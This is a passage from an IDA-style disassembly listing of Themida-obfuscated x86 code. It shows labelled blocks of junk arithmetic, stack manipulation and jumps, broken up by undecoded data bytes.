		xor	eax, ecx
		jmp	loc_561132
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		dd 23CEE9h, 4C48100h, 68000000h, 5E0h, 0FF241489h, 0E9042474h
		dd 0FFFF7E76h
; ---------------------------------------------------------------------------


loc_5621C8:				; CODE XREF: Themida_:00564381j
		add	al, ch
		sub	esp, 4
		jmp	loc_5634AD
; ---------------------------------------------------------------------------
		db 1, 0E8h, 8Bh
		dd 0C481242Ch, 4, 15B9BE56h, 0C68155ABh, 5C3C7A48h, 3408E952h
		dd 0C483FFFFh, 0BF89E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5621FA:				; CODE XREF: Themida_:00555846j
		neg	edx
		dec	edx
		jmp	loc_553626
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 4C681h, 34870000h, 0E9815C24h, 0D528C9E5h, 8359C801h
		dd 0CAE904ECh
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562223:				; CODE XREF: Themida_:0055C33Fj
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	edx
		push	ebp
		push	62D3h
		mov	[esp], eax
		push	72B20B28h
		pop	eax
		or	eax, 4AFC5625h
		sub	eax, 9841CF8h
		mov	ebp, eax
		pop	eax
		jmp	loc_55EF52
; ---------------------------------------------------------------------------


loc_562255:				; CODE XREF: Themida_:00565B21j
		mov	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_557C48
; ---------------------------------------------------------------------------
		db 0FFh
		dd 1E92434h, 0F7FFFF69h, 0D7F74FD7h, 4219E9h, 4C48300h
		dd 8106EBC1h, 0FFFFFFEBh, 81DBF7FFh, 1D09A3F3h,	0E8C3810Eh
		dd 537AD7EAh, 3E242C81h, 5E5BC154h, 543EC681h, 71E95BC1h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56229F:				; CODE XREF: Themida_:0055C1CCj
		push	eax
		jmp	loc_563F73
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 4, 8124048Bh, 4C4h, 4F746800h, 14890000h, 45366824h
		dd 34890000h, 3864E924h, 0E9540000h, 0FFFF75B5h
; ---------------------------------------------------------------------------


loc_5622D0:				; CODE XREF: Themida_:00555A1Fj
		xchg	eax, [esp]
		mov	esp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_5560A7
; ---------------------------------------------------------------------------
		dd 0CA868h, 24248900h, 4240483h, 259AE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5622F6:				; CODE XREF: Themida_:00559E68j
		push	esi
		jmp	loc_5565B9
; ---------------------------------------------------------------------------


loc_5622FC:				; CODE XREF: Themida_:0055F5B6j
		mov	[esp], ebx
		jmp	loc_558854
; ---------------------------------------------------------------------------
		dd 5A66D488h, 5068C480h, 0FFB2C3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562311:				; CODE XREF: Themida_:005537B8j
		pop	eax
		jmp	loc_55A347
; ---------------------------------------------------------------------------
		db 0BEh
		dd 252F57B9h, 97E9F089h, 83FFFF54h, 0EC8104C4h,	4, 0FF240C89h
		dd 59042474h, 8B24048Fh, 89662424h, 99E92404h, 66FFFFE8h
		dd 0C166D7F7h, 816605EFh, 661F9BF7h, 0E95FFB31h, 0FFFF0FE7h
		dd 0B9515053h, 70213100h, 0FF87D1E9h, 24248BFFh, 0FEF8E7E9h
		dd 148966FFh, 2C65B624h, 254CE99Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56237A:				; CODE XREF: Themida_:0055EBEAj
		xor	edi, 12B9B60Ch
		mov	ecx, edi
		pop	edi
		jmp	loc_55B190
; ---------------------------------------------------------------------------


loc_562388:				; CODE XREF: Themida_:00559F08j
		add	edx, 532022A2h
		sub	edx, 649507C7h
		add	edx, esi
		add	edx, 649507C7h
		sub	edx, 532022A2h
		pop	esi
		sub	edx, 4
		sub	esp, 4
		jmp	loc_564E76
; ---------------------------------------------------------------------------


loc_5623B4:				; CODE XREF: Themida_:00564566j
		or	eax, ecx
		pop	ecx
		jmp	loc_553928
; ---------------------------------------------------------------------------


loc_5623BC:				; CODE XREF: Themida_:0055EDF1j
		push	1C31h
		jmp	loc_55D025
; ---------------------------------------------------------------------------
		dw 0CA04h
		dd 24148B66h, 2C481h, 0D8280000h, 38C668h, 240C8900h, 88CBB252h
		dd 0B2525AD5h, 7AF3E9F3h, 0F780FFFFh, 5BF828F1h, 229E9h
		db 0
; ---------------------------------------------------------------------------


loc_5623F5:				; CODE XREF: Themida_:00563FD3j
		push	ebx
		sub	esp, 4
		mov	[esp], edx
		push	529B719Eh
		mov	edx, [esp]
		add	esp, 4
		shl	edx, 8
		add	edx, 645152B5h
		shl	edx, 1
		push	ebp
		mov	ebp, 7C7072E2h
		and	ebp, 1DF15ABEh
		jmp	loc_55D6F4
; ---------------------------------------------------------------------------
		db 54h,	5Dh, 81h
		dd 4C5h, 4ED8300h, 0FFB2FCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562439:				; CODE XREF: Themida_:0055DA36j
		mov	esi, [esp]
		push	edi
		jmp	loc_55D842
; ---------------------------------------------------------------------------


loc_562442:				; CODE XREF: Themida_:005620ABj
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_55BC92
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FFFF43A7h, 68241C89h, 933h, 89243489h
		dd 4B951E6h, 1000000h, 0EE8159CEh, 4, 0FF9B2EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562479:				; CODE XREF: Themida_:00560E78j
		xor	edi, [esp]
		jmp	loc_564124
; ---------------------------------------------------------------------------
		db 66h,	57h, 66h
		dd 22474FFh, 243C8B66h,	199768h, 240C8900h, 5404EC83h
		dd 5024048Fh, 4B8h, 24440100h, 0C8B5804h, 4C48324h, 4C181h
		dd 0BD550000h, 2, 0E8E9E901h, 0B400000Fh, 4EA0E989h, 5558FFFFh
		dd 815E5456h, 4C6h, 4EE8100h, 56000000h, 42474FFh, 24048F5Eh
		dd 2404895Ch, 4B8h, 0EDE95000h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5624EF:				; CODE XREF: Themida_:00555FA3j
		add	esp, 4
		xor	ebx, eax
		push	51ECh
		mov	[esp], eax
		jmp	loc_55FAC5
; ---------------------------------------------------------------------------
		dd 4246C81h, 46DE75C8h
		db 8Bh,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_551628
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 0E904C483h, 3071h, 30326856h, 0E95E48BFh, 2BF3h, 240C8B58h
		dd 4C481h, 21250000h, 0E95DCF2Fh, 38ABh
; ---------------------------------------------------------------------------


loc_562558:				; CODE XREF: Themida_:0055ADF1j
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 2A87737Fh
		push	7993h
		mov	[esp], esi
		mov	esi, 2A877B7Fh
		xor	ecx, esi
		pop	esi
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jz	loc_55BF7F
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	edi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp]
		jmp	loc_561FD2
; ---------------------------------------------------------------------------
		db 0E9h, 72h, 0F0h
		dd 0C481FFFEh, 4, 0FF7275E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5625C1:				; CODE XREF: Themida_:005559A6j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_559C3B
; ---------------------------------------------------------------------------


loc_5625D1:				; CODE XREF: Themida_:00557D8Fj
		mov	ebx, 6CE246CEh
		shl	ebx, 2
		add	ebx, 0B7C7EE15h
		and	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		dec	edi
		and	edi, 148239A3h
		push	ebx
		jmp	loc_563706
; ---------------------------------------------------------------------------


loc_5625F4:				; CODE XREF: Themida_:0055287Dj
		add	ecx, 50253BB1h
		add	ecx, ebx
		sub	ecx, 50253BB1h
		jmp	loc_55221D
; ---------------------------------------------------------------------------


loc_562607:				; CODE XREF: Themida_:0055FF20j
		sub	ebp, 304667BCh
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_56397E
; ---------------------------------------------------------------------------
		dw 0E904h
		dd 0E92CF800h, 0D0A5B551h, 2EDC0E5h, 0FF54B8E9h, 0EFF2E9FFh
		dd 0A2BFFFFEh, 15B6701h, 5F04247Ch, 0AE01E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562646:				; CODE XREF: Themida_:00558BB8j
		mov	[esp], eax
		jmp	loc_5603BB
; ---------------------------------------------------------------------------


loc_56264E:				; CODE XREF: Themida_:0055E625j
		add	edx, 4
		add	edx, 4
		jmp	loc_55D9E5
; ---------------------------------------------------------------------------
		db 0BAh
		dd 0F7A01C7h, 22E9F229h
		db 0Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56266B:				; CODE XREF: Themida_:0055EB9Fj
		xor	ebx, [esp]
		pop	esp
		jmp	loc_551E38
; ---------------------------------------------------------------------------
		dd 5358C131h, 0DD18FCBBh, 1DA7E973h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562682:				; CODE XREF: Themida_:00552F0Cj
		push	eax
		jmp	loc_554680
; ---------------------------------------------------------------------------
		dd 0E95FF829h, 0FFFEFBFEh, 0F430E630h, 0CCFEE630h, 0E7885366h
		dd 0FC88D7F6h, 17E95B66h
		db 2Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5626A7:				; CODE XREF: Themida_:00564353j
		mov	[esp], ebx
		push	49FEh
		mov	[esp], esi
		push	ebx
		push	64964700h
		pop	ebx
		add	ebx, 0E20A14E1h
		jmp	loc_55DF12
; ---------------------------------------------------------------------------
		dd 4BAh, 0C7EE900h, 0DAF7FFFFh,	7953E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5626D6:				; CODE XREF: Themida_:00555A43j
		pop	ebp
		add	ecx, esi
		pop	esi
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		jmp	loc_5583D3
; ---------------------------------------------------------------------------


loc_5626E7:				; CODE XREF: Themida_:0055BD9Bj
		mov	ebx, 6E51EF5h
		jmp	loc_55439C
; ---------------------------------------------------------------------------


loc_5626F1:				; CODE XREF: Themida_:0055647Dj
		push	dword ptr [esp]
		jmp	loc_552B00
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
aSpsc		db 'SPéc',27h,0
		dw 8300h
		dd 3C8704C7h, 0EC835C24h, 242C8904h, 4BDh, 5DBF5700h, 1694421h
		dd 56E95FF8h, 0BFFFFF1Ah, 3737523Ah, 0E95FFD01h, 0FFFFAB6Ch
		dd 0FF243C89h, 5F042474h, 8B24048Fh, 8E92424h, 0FEFFFF6Dh
		dd 6E6C0C6h, 0ACC680h, 24148BF0h, 1466E9h, 7D92BA00h, 0D03105EDh
		dd 0D230E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562762:				; CODE XREF: Themida_:0055F326j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		add	eax, 344410Eh
		sub	eax, ecx
		jmp	loc_56476E
; ---------------------------------------------------------------------------
		db 0BFh, 2, 0
		dd 0F8010000h, 5F2434FFh, 5E08950h, 4, 4B951h, 0A52D0000h
		dd 1423252h, 52A505C8h,	87594232h, 335C2404h, 0F8E92404h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5627A7:				; CODE XREF: Themida_:00561B93j
		mov	ah, 9Eh
		xor	cl, ah
		pop	ax
		push	eax
		mov	al, 2
		and	al, 52h
		inc	al


loc_5627B4:				; DATA XREF: Themida_:0053E92Co
		shl	al, 1
		shl	al, 5
		jmp	loc_55B9E5
; ---------------------------------------------------------------------------
		dw 3C31h
		dd 243C3324h, 2414895Ch, 4EC81h, 3C890000h, 2F685124h
		dd 59095B10h, 0F311F181h, 0CF89282Ah, 0FF05DBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5627E5:				; CODE XREF: Themida_:0055EF87j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5557A0
; ---------------------------------------------------------------------------


loc_5627F2:				; CODE XREF: Themida_:0055C524j
		mov	ebp, 0EE15C5Eh
		jmp	loc_55BFDA
; ---------------------------------------------------------------------------


loc_5627FC:				; CODE XREF: Themida_:00554B32j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_56104C
; ---------------------------------------------------------------------------
		dd 39026268h, 0FD015F65h, 3CF5815Fh, 815A815Ch,	0C81437EDh
		dd 5F87E913h, 0C681FFFFh, 2DA02E7Ah, 4C6815Fh, 87000000h
		dd 55C2434h, 4,	8904EC83h, 14E92404h, 5B000019h, 273C9735h
		dd 58C7894Bh, 7B1A222Dh, 0F8E95328h
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56285F:				; CODE XREF: Themida_:0055CF66j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		jmp	loc_554C60
; ---------------------------------------------------------------------------


loc_562878:				; CODE XREF: Themida_:00552467j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55D992
; ---------------------------------------------------------------------------
		db 89h
		dd 0E6892434h, 0FF97CFE9h, 0ED92E9FFh, 0E95EFFFEh, 0FFFF5E7Ah
		dd 68h,	243C2900h, 0FEF192E9h, 0B60F66FFh, 0E9545102h
		dd 0FFFFA711h, 0FF2434FFh, 48B2434h, 4C48324h, 0A771E953h
		dd 8B66FFFFh, 0BF682404h, 0E900007Eh, 0FFFF259Ch, 33243431h
		dd 895C2434h, 1EE92414h
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5628E3:				; CODE XREF: Themida_:00555F2Bj
		mov	[esp], edi
		mov	edi, esp
		push	edx
		push	138Ah
		mov	[esp], ebp
		mov	ebp, 0A4F44B9h
		shr	ebp, 3
		add	ebp, 1
		sub	ebp, 60EF6001h
		push	ebx
		mov	ebx, 6D135F32h
		jmp	loc_55CBA4
; ---------------------------------------------------------------------------


loc_562910:				; CODE XREF: Themida_:00564C65j
		mov	ecx, 57D42711h
		sub	edx, ecx
		jmp	loc_563EA0
; ---------------------------------------------------------------------------
		dd 3E6868h, 241C8900h, 394D4568h, 241C8B0Ch, 4C481h, 0DBF70000h
		dd 1677E9h
		db 0
; ---------------------------------------------------------------------------


loc_562939:				; CODE XREF: Themida_:005648C1j
		sub	ecx, 4
		jmp	loc_565DA4
; ---------------------------------------------------------------------------
		dd 11E9815Bh, 15C6E06h,	11C181D9h, 815C6E06h, 84285E9h
		dd 0C9815B57h, 743660D8h, 0B83E181h, 0E9810467h, 4260881h
		dd 34FFC821h, 89515924h, 4C181E1h, 83000000h, 0FF5104C1h
		dd 59042474h, 5C24048Fh, 840FC009h, 0FFFF3CA3h,	8904EC83h
		dd 56BA2414h, 0C13F0A59h, 0BE5606EAh, 7A7125C3h, 348BF209h
		dd 4C48124h, 83000000h,	684AFFC2h, 2A24h, 0B8240489h, 7AFD2CE7h
		dd 34FFC229h, 1E1CE924h, 8B66FFFFh, 9AE92404h, 53000029h
		dd 0E82030BBh, 0AF3810Ah, 810C7666h, 0BF4A7BC3h, 7EBC15Ah
		dd 44DFC381h, 0DF89FF3Dh, 0FF86B9E9h, 240C8BFFh, 3304C483h
		dd 4312404h, 24043324h,	0FEECADE9h, 4895CFFh, 48B5424h
		dd 4C48324h, 8904EC83h,	0A5E92414h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562A1F:				; CODE XREF: Themida_:005601DDj
		sub	eax, 1FF82E75h
		jmp	loc_558C25
; ---------------------------------------------------------------------------
		db 0BAh, 2, 0
		dd 0D3010000h, 74FF535Ah, 8F5B0424h, 248B2404h,	0E07CE924h
		dd 6C01FFFFh, 0BBE90424h
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562A4B:				; CODE XREF: Themida_:0055BD00j
		sub	ecx, 50936F2h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_55D9B9
; ---------------------------------------------------------------------------
		db 1
aZphQ		db 'ÑZPhÙq',0
		align 4
		dd 56240C89h, 8710E2BEh, 5EF18901h, 5705E9C1h, 833ED7BFh
		dd 0E9F9097Eh, 0FFFF7548h, 7604D800h, 0B652535Bh, 84EE8040h
		dd 0E9F08850h, 0E05h
; ---------------------------------------------------------------------------


loc_562AA8:				; CODE XREF: Themida_:005552DFj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_556ADD
; ---------------------------------------------------------------------------
		db 54h
		dd 0FF4556E9h, 4B8FFh, 0C3010000h, 4EB8358h, 0FF9980E9h
		dd 0A30F66FFh, 0E99C2404h, 0FFFFFB59h, 5A2434FFh, 7D1468h
		dd 0A7ACE900h, 0C31FFFFh, 240C3324h, 6624248Bh,	50241489h
		dd 0C2883EB0h, 0FF382DE9h, 9DE95BFFh, 89FFFFE3h, 4C581E5h
		dd 81000000h, 4ECh, 240C8900h, 2B9h, 59CD0100h,	8B242C87h
		dd 0F662424h, 9C2404ABh, 0FEEAFBE9h, 0D4E95CFFh
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562B33:				; CODE XREF: Themida_:0055C553j
		push	7278h
		mov	[esp], edx
		mov	edx, 4
		add	ecx, 53A74CA2h
		jmp	loc_566483
; ---------------------------------------------------------------------------


loc_562B4B:				; CODE XREF: Themida_:00560FC3j
		mov	esi, 1D7D4745h
		push	esi
		jmp	loc_554448
; ---------------------------------------------------------------------------
		dw 5F09h
		dd 2434FF1Ch, 0FFC4D1E9h, 0C2FE58FFh, 0FF17CAE9h, 0F7D5F7FFh
		dd 0E680E9DDh, 335FFFFFh, 1C31241Ch, 0EAF1E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_562B7E:				; CODE XREF: Themida_:005575F6j
		mov	[esp], edi
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esp
		push	ebx
		mov	ebx, 4
		jmp	loc_554871
; ---------------------------------------------------------------------------
		dd 0E689565Ch, 4C681h, 3CE90000h
		db 67h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562BAF:				; CODE XREF: Themida_:0055C514j
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		jmp	loc_5552C0
; ---------------------------------------------------------------------------


loc_562BBE:				; CODE XREF: Themida_:00552CCEj
		mov	[esp], edi
		mov	edi, 56BB2189h
		shl	edi, 2
		add	edi, 54B85224h
		neg	edi
		neg	edi
		shl	edi, 3
		sub	edi, 9BC5FB93h
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		add	ecx, eax
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_555FBC
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 0FF01E924h, 5457FFFFh, 4C7815Fh, 81000000h, 4C7h, 243C8700h
		dd 0D5F75D5Ch, 0EAC1EA87h, 88CA8102h, 0F76D0F6Fh, 0E6B951D2h
		dd 31C64959h, 0D30159CAh, 1C875F5Ah, 24248B24h,	2424D366h
		dd 0E9E6E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_562C42:				; CODE XREF: Themida_:0055AFD0j
		sub	edx, eax
		pop	eax
		pop	esi
		xchg	edx, [esp]
		pop	esp
		and	[esp], al
		pushf
		jmp	loc_551628
; ---------------------------------------------------------------------------
		db 89h
		dd 12D968E6h, 0C4E90000h, 0BBFFFF60h, 4, 0FF8FAEE9h, 0E9EA01FFh
		dd 0FFFFA6A0h, 0E951E389h, 0FFFF020Eh, 4E5968h,	96C7E900h
		dd 2C8BFFFFh, 0D6E95024h, 5AFFFFC4h, 69E568h, 241C8900h
		dd 0BF57E389h, 4, 0A8E9FB01h, 55FFFF5Ch, 2BDh, 0E9E98900h
		dd 0FFFF807Bh
; ---------------------------------------------------------------------------


loc_562CB0:				; CODE XREF: Themida_:0055DF1Fj
		push	esi
		mov	esi, 453061F6h
		push	6B45h
		jmp	loc_561E4E
; ---------------------------------------------------------------------------


loc_562CC0:				; CODE XREF: Themida_:0055312Fj
		pop	ebx
		shr	edx, 4
		xchg	eax, edx
		not	eax
		xor	edx, eax
		xor	eax, edx
		jmp	loc_55468D
; ---------------------------------------------------------------------------


loc_562CD0:				; CODE XREF: Themida_:00565A4Aj
		pop	ebx
		pop	ecx
		push	ebx
		push	ecx
		jmp	loc_5648B9
; ---------------------------------------------------------------------------
		db 0C1h, 0E1h, 8
		dd 5006E9C1h, 0B8442CB8h, 48793503h, 7D35098Dh,	25775676h
		dd 1DA8021Eh, 0F277D05h, 8ECD2D70h, 0C129B762h,	59CA2958h
		dd 0E9241C8Bh, 1E1Eh
; ---------------------------------------------------------------------------


loc_562D0C:				; CODE XREF: Themida_:00555205j
		push	ecx
		mov	ecx, 4
		add	ebp, 5EDD55CDh
		sub	ebp, 2AFA7D85h
		jmp	loc_560E2F
; ---------------------------------------------------------------------------
		db 5Ah
		dd 9AE9F029h
		db 1Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562D2B:				; CODE XREF: Themida_:0055EFBAj
		xor	edx, [esp]
		mov	esp, [esp]
		push	3F2Ch
		mov	[esp], edi
		jmp	loc_55FEC3
; ---------------------------------------------------------------------------
		dw 0E1C1h
		dd 21E98104h, 294B0633h, 1313E9CFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562D4E:				; CODE XREF: Themida_:005641B1j
		pop	eax
		push	ecx
		jmp	loc_551DF6
; ---------------------------------------------------------------------------
		db 0B8h, 9Ch, 2
		dd 0E0C15D68h, 43940502h, 0D8E9E134h, 0BFFFFFE9h, 0AF95E18h
		dd 58BB534Fh, 431EF253h, 21E7E381h, 0E38149BBh,	0FA11075h
		dd 5DD2C381h, 0DF290259h, 0E5C5815Bh, 14FD317h,	264DE9FDh
		dd 34FFFFFFh, 0C4815824h, 4, 815EF329h,	31B8EEC3h, 3C14E9CCh
		dd 685EFFFFh, 738Ah, 53243C89h,	0F3142B68h, 39B6E927h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562DC2:				; CODE XREF: Themida_:00559D47j
		push	esi
		add	dword ptr [esp], 360355E4h
		pop	ecx
		push	ebx
		mov	ebx, 360355E4h
		jmp	loc_55DFDE
; ---------------------------------------------------------------------------
aPs_0		db 'PéÈ',1Bh,0
		align 4


loc_562DDC:				; CODE XREF: Themida_:0055FE8Fj
		xor	bl, ah
		pop	eax
		add	al, 57h
		jmp	loc_558C16
; ---------------------------------------------------------------------------


loc_562DE6:				; CODE XREF: Themida_:00552CE7j
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	eax, 7D393DCCh
		sub	eax, ebx
		sub	eax, 7D393DCCh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	eax, [esp]
		push	edi
		push	esp
		pop	edi
		jmp	loc_564EFE
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 7Dh
		dd 813FD16Fh, 150E0BC6h, 0ECEE8132h, 159264Eh, 0ECBA52C6h
		dd 0E959264Eh, 0FFFFA213h, 529168h, 241C8900h, 886B6BBBh
		dd 14F75317h, 0BF575B24h, 1, 2085C381h,	0FB0166C4h, 1FAFBE56h
		dd 0E6812533h, 58B75319h, 4258F681h, 0EE81370Fh, 0D07830CCh
		dd 0FFB2E2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562E85:				; CODE XREF: Themida_:0055BBE2j
		add	eax, 14052D03h
		push	314h
		mov	[esp], eax
		jmp	loc_55911B
; ---------------------------------------------------------------------------
		db 0BFh
		dd 6BDD2593h, 5759CF29h, 5F2414F7h, 9CE9DFF7h, 48FFFF00h
		dd 0FF1D23E9h, 243C89FFh, 308468h, 0F9A1E900h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_562EBE:				; CODE XREF: Themida_:00553254j
		mov	cl, 22h
		sub	cl, 5Ch
		jmp	loc_555036
; ---------------------------------------------------------------------------


loc_562EC8:				; CODE XREF: Themida_:0055B576j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	450Eh
		mov	[esp], ebx
		push	ecx
		push	46482813h
		pop	ecx
		xor	ecx, 46482833h
		jmp	loc_5607A8
; ---------------------------------------------------------------------------
		db 51h
		dd 0FF3F90E9h, 241C89FFh, 81595451h, 4C1h, 4E98300h, 5C240C87h
		dd 0E9241489h, 5AFh
; ---------------------------------------------------------------------------


loc_562F10:				; CODE XREF: Themida_:0055E0F5j
		sub	dword ptr [esp], 289C4BB8h
		pop	esi
		add	esi, 289C4BB8h
		pop	edx
		pop	edi
		and	ecx, esi
		push	dword ptr [esp]
		jmp	loc_555FD9
; ---------------------------------------------------------------------------
		dw 0C830h
		dd 668D2459h, 0E95DB353h, 0FFFEE73Fh, 8702C183h, 665C240Ch
		dd 6624048Fh, 66556657h, 665D665Fh, 14F76655h, 665D6624h
		dd 3166EF31h, 0A925E9FDh, 0C483FFFFh, 47046804h, 1C890000h
		dd 4BB24h, 14E90000h, 52FFFFABh, 5A2414F6h, 805AD588h
		dd 0EB889AF5h, 68240C8Bh, 1363h, 0FFF8FAE9h, 0EC815CFFh
		dd 4, 0B8240489h, 284165BAh, 6FDABB53h,	7FE948E6h, 0FFFFFEFEh
		dd 0E95D2434h, 0FFFF9274h, 8B04C483h, 0C4812414h, 4, 0C2E9CF01h
		dd 8300001Eh, 0F83004C4h, 81241C8Bh, 4C4h, 0FC33000h, 34FFC0B6h
		dd 32C86887h, 4890000h,	33EB824h, 44316641h, 48B0424h
		dd 4C48324h, 8324048Bh,	835204C4h, 348904ECh, 507FBE24h
		dd 0C14E7A87h, 0C9E902EEh, 5DFFFF7Eh, 4C381h, 1C870000h
		dd 0EC815C24h, 2, 24148966h, 8904EC83h,	43B5240Ch, 8869F580h
		dd 2434FFEEh, 0E2895259h, 4C281h, 0C2810000h, 4, 8B241487h
		dd 0EE802424h, 41A2C6Fh, 68F028F3h, 4Eh, 0B5240C89h, 59E828F3h
		dd 5B545353h, 4C381h, 0EB830000h, 241C8704h, 0C727E95Ch
		dd 505BFFFFh, 0FEF1F9E9h, 1C77FFFFh, 419589Dh, 16E99C24h
		dd 68FFFFADh, 0EE1h, 0B9240C89h, 67092427h, 448E950h, 0F5310000h
		dd 84E9D6F7h, 1FFFF8Fh,	0D1BE56FBh, 169E50Fh, 3035EF3h
		dd 781E685Bh, 14890000h, 0E3895324h, 7A74BE56h,	0E95252FBh
		dd 0FFFF4AF7h
; ---------------------------------------------------------------------------


loc_5630C8:				; CODE XREF: Themida_:0055F65Fj
		push	dword ptr [esp]
		pop	esi
		push	edi
		mov	edi, esp
		jmp	loc_55E420
; ---------------------------------------------------------------------------
		dd 16E9C301h, 66FFFF4Dh, 48EEE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5630E2:				; CODE XREF: Themida_:0056547Bj
		sub	esi, 76D80058h
		sub	esi, 0FFFFFFFFh
		sub	esi, 0FFFFFFFFh
		sub	esi, 66DEA2F1h
		and	edx, esi
		pop	esi
		neg	edx
		push	ecx
		mov	ecx, 58A83ADCh
		add	ecx, 0D9C192Bh
		xor	ecx, 21A746E1h
		inc	ecx
		xor	ecx, 41EA4A0Eh
		add	ecx, 9636322Bh
		xor	edx, ecx
		jmp	loc_564939
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 321Ah, 89243C89h,	4C781E7h, 81000000h, 4ECh
		dd 0AB47E900h, 77FFFFFFh, 59669D1Ch, 9C2414D2h,	0FEE4DBE9h
		dd 24048BFFh, 8004C483h, 0D7287EEFh, 0E97EC780h, 20FCh
		dd 0E6895658h, 4C681h, 0C6830000h, 24348704h, 0F24248Bh
		dd 8F66C0B6h, 0A9E98704h, 5CFFFEE4h, 5D5BDF89h,	3C8BFE01h
		dd 4C48124h, 87000000h,	248B2434h, 66E9F624h, 66CCB60Fh
		dd 0E92F1668h, 0FFFFDB29h, 0E9243489h, 0FFFFCD40h, 815AD331h
		dd 0DE3DA5F3h, 0BAC28193h, 0E957470Fh, 3155h
; ---------------------------------------------------------------------------


loc_5631C0:				; CODE XREF: Themida_:00557697j
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_555016
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 90E7E924h, 8B66FFFFh, 7568240Ch, 8900006Fh, 5B54241Ch
		dd 57E68956h, 0FEF5BAE9h, 81E389FFh, 4C3h, 5E36E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5631FE:				; CODE XREF: Themida_:00555170j
		pop	ebp
		mov	eax, edx
		pop	edx
		add	eax, esi
		pop	esi
